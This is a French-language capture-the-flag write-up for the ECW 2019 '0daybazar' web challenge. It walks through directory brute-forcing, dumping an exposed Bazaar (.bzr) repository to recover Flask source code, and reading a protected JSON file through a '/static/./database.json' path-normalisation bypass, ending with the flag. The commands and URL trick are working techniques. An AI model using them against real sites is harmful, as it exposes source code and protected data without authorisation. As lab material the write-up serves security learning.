ECW 2019 CTF Qualification - 0daybazar
Détails du challenge
| Event | Challenge | Category | Points | Solves |
|---|---|---|---|---|
| ECW 2019 CTF Qualification | 0daybazar | Web | 100 | 30 |
Le nouveau site préféré de tout bon pentester, avec des exploits et probablement des vulns ;)
TL;DR
Le site utilisait Bazaar comme système de gestion de versions, le code peut être téléchargé depuis /.bzr/. Nous avons ensuite exploité une vulnérabilité de path traversal pour contourner une route Flask.
Méthodologie
En arrivant sur le site, nous obtenons la page suivante :
Après quelques tests infructueux sur le champ email, j’ai décidé de lancer un dirsearch sur le site.
Dirsearch
dirsearch -u https://web_0daybazar.challenge-ecw.fr -c "session=[REDACTED]" -e .
Vous pouvez également utiliser bfac :
bfac -u https://web_0daybazar.challenge-ecw.fr/ --cookie "session=[REDACTED]"
Grâce à ces outils, nous obtenons 2 URL intéressantes :
https://web_0daybazar.challenge-ecw.fr/.bzr/checkout/dirstate (200) | (Content-Length: 5553)
https://web_0daybazar.challenge-ecw.fr/.bzr/README (200) | (Content-Length: 147)
Bazaar
En cherchant .bzr sur google, on découvre Bazaar. C’est un équivalent de GIT principalement utilisé par la fondation GNU. Après quelques recherches sur « .bzr dump », nous trouvons un outil Github que nous pouvons utiliser pour dumper le code source du site.
Étant donné que la Qualification ECW nécessite des cookies pour accéder au site, j’ai modifié la ligne
r = requests.get(url)
en
r = requests.get(url,cookies={"session":"[REDACTED]"})
Puis j’ai exécuté le code :
apt install bzr
python3 dumper.py -u "https://web_0daybazar.challenge-ecw.fr" -o output
Created a standalone tree (format: 2a)
[!] Target : https://web_0daybazar.challenge-ecw.fr/
[+] Start.
[+] GET repository/pack-names
.bzr/repository/pack-names
[+] GET README
.bzr/README
[+] GET checkout/dirstate
.bzr/checkout/dirstate
[+] GET checkout/views
.bzr/checkout/views
[+] GET branch/branch.conf
.bzr/branch/branch.conf
[+] GET branch/format
.bzr/branch/format
[+] GET branch/last-revision
.bzr/branch/last-revision
[+] GET branch/tag
.bzr/branch/tag
[+] GET b'b9d145aedb5ccae17ae06cb44e36c7eb'
[*] Finish
tree output/.bzr/
output/.bzr/
├── README
├── branch
│ ├── branch.conf
│ ├── format
│ ├── last-revision
│ ├── lock
│ ├── tag
│ └── tags
├── branch-format
├── branch-lock
├── checkout
│ ├── conflicts
│ ├── dirstate
│ ├── format
│ ├── lock
│ └── views
└── repository
├── format
├── indices
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.cix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.iix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.rix
│ ├── b9d145aedb5ccae17ae06cb44e36c7eb.six
│ └── b9d145aedb5ccae17ae06cb44e36c7eb.tix
├── lock
├── obsolete_packs
├── pack-names
├── packs
│ └── b9d145aedb5ccae17ae06cb44e36c7eb.pack
└── upload
Ok, aucun fichier intéressant pour l’instant. Pour récupérer les fichiers, nous devons exécuter une commande bzr :
bzr revert
N application.py
N static/
N static/css/
N static/css/font-awesome.min.css
N static/css/main.css
N static/database.json
N static/fonts/
N static/fonts/fontAwesome.otf
N static/fonts/fontawesome-webfont.eot
N static/fonts/fontawesome-webfont.svg
N static/fonts/fontawesome-webfont.ttf
N static/fonts/fontawesome-webfont.woff
N static/fonts/fontawesome-webfont.woff2
N static/images/
N static/images/bg01.jpg
N static/images/bg02.jpg
N static/images/bg03.jpg
N static/js/
N static/js/main.js
N templates/
N templates/index.html
Nous obtenons le code source de application.py et database.json !
Dernière étape
Jetons un œil aux fichiers intéressants :
application.py
from flask import Flask, render_template
from flask import request, Response, send_from_directory
import json
application = Flask(__name__)
@application.route('/.bzr/<path:filename>')
def bazaar(filename):
print(application.root_path + '/.bzr/')
return send_from_directory(application.root_path + '/.bzr/', filename, conditional=True)
@application.route("/enroll", methods=['POST'])
def enroll():
email = request.form.get('email', '')
with open('static/database.json', 'rw') as f:
data = json.load(f)
for d in data:
if email == d:
return "After this, there is no turning back. You take the blue pill - the story ends, you wake up in your bed and believe whatever you want to believe. You take the red pill - you stay in Wonderland, and I show you how deep the rabbit hole goes."
return "Follow the white rabbit !"
@application.route('/static/database.json', methods=['GET'])
@application.errorhandler(401)
def endpoint():
return Response('We are the samurai, the keyboard cowboys.', 401, {'The Plague':"There is no right and wrong. There's only fun and boring."})
@application.route("/", methods=['POST', 'GET'])
def welcome():
return render_template('index.html', data="Razor: Remember, hacking is more than just a crime. It's a survival trait.")
if __name__ == '__main__':
application.run()
database.json
[
"besthacker@0daybazar.com",
"1337elite@0daybazar.com",
"neo@0daybazar.com"
]
Toujours pas de flag, le database.json a peut-être été mis à jour sur le site. Malheureusement, le fichier n’est pas directement accessible à cause de la route spécifique @application.route('/static/database.json', methods=['GET']).
Ma première idée a été d’utiliser une attaque path traversal sur la route '/.bzr/<path:filename> de cette manière : https://web_0daybazar.challenge-ecw.fr/.bzr/../static/database.json mais cela n’a pas fonctionné.
Notez que le path traversal doit être utilisé depuis un outil comme burp ou doit être url encodé, car la plupart des navigateurs résolvent déjà les URL relatives avant d’envoyer la requête.
Comme le dossier /static/ est accessible (ex. /static/css/main.css), j’ai décidé de faire un path traversal sur /static/ de cette façon :
https://web_0daybazar.challenge-ecw.fr/static/./database.json
Et ça a fonctionné ! L’url est accessible sur les navigateurs courants en utilisant l’url encode : https://web_0daybazar.challenge-ecw.fr/static/.%2fdatabase.json
[
"besthacker@0daybazar.com",
"1337elite@0daybazar.com",
"neo@0daybazar.com",
"ECW{da19df5971107a14005356bc599f59b6c302b15dbe08090aa25080a95e8137d1}"
]
Flag
ECW{da19df5971107a14005356bc599f59b6c302b15dbe08090aa25080a95e8137d1}